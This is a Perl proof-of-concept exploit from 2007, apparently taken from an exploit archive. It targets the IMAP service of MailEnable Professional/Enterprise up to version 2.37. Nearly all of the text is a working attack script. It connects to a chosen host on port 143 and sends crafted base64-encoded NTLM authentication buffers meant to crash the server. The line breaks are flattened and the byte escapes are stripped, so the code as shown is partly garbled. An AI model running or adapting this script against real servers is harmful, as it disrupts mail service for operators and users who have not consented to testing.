MailEnable Professional/Enterprise <= 2.37 Denial of Service Exploit

#!/usr/bin/perl # # maildisable-v7.pl # # Mail Enable Professional/Enterprise v2.32-7 (win32) # by mu-b - Wed Feb 14 2007 # # - Tested on: Mail Enable Professional v2.37 (win32) # ######## use Getopt::Std; getopts(\'t:\', \\%arg); use Socket; use MIME::Base64; &print_header; my $target; if (defined($arg{\'t\'})) { $target = $arg{\'t\'} } if (!(defined($target))) { &usage; } my $imapd_port = 143; my $send_delay = 2; my $PAD = \'A\'; if (connect_host($target, $imapd_port)) {     print(\"-> * Connected \");     send(SOCKET, \"1 AUTHENTICATE NTLM \", 0);     sleep($send_delay);     $buf = ($PAD x 12).            \"xfaxffxffxff\".            ($PAD x 12);     send(SOCKET, encode_base64($buf).\" \", 0);     sleep($send_delay);     $buf = ($PAD x 28).            \"x00x01\".            ($PAD x 2).            \"xffxffxffx7f\";     send(SOCKET, encode_base64($buf).\" \", 0);     sleep($send_delay);     print(\"-> * Successfully sent payload! \"); } sub print_header {     print(\"MailEnable Pro v2.37 DoS POC \");     print(\"by: <mu-b@digit-labs.org> \"); } sub usage {     print(qq(Usage: $0 -t <hostname>      -t <hostname>    : hostname to test ));     exit(1); } sub connect_host {     ($target, $port) = @_;     $iaddr  = inet_aton($target)                 || die(\"Error: $! \");     $paddr  = sockaddr_in($port, $iaddr)         || die(\"Error: $! \");     $proto  = getprotobyname(\'tcp\')              || die(\"Error: $! \");     socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die(\"Error: $! \");     connect(SOCKET, $paddr)                      || die(\"Error: $! \");     return(1338); }